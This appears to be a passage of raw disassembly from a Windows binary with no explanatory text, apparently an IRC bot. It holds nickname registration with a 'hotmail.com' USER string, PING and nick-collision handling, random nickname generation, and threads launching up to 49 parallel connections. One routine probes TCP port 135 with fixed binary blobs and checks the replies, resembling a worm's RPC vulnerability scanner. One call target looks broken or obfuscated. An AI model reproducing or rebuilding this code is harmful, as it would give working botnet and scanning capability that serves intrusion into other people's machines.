		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
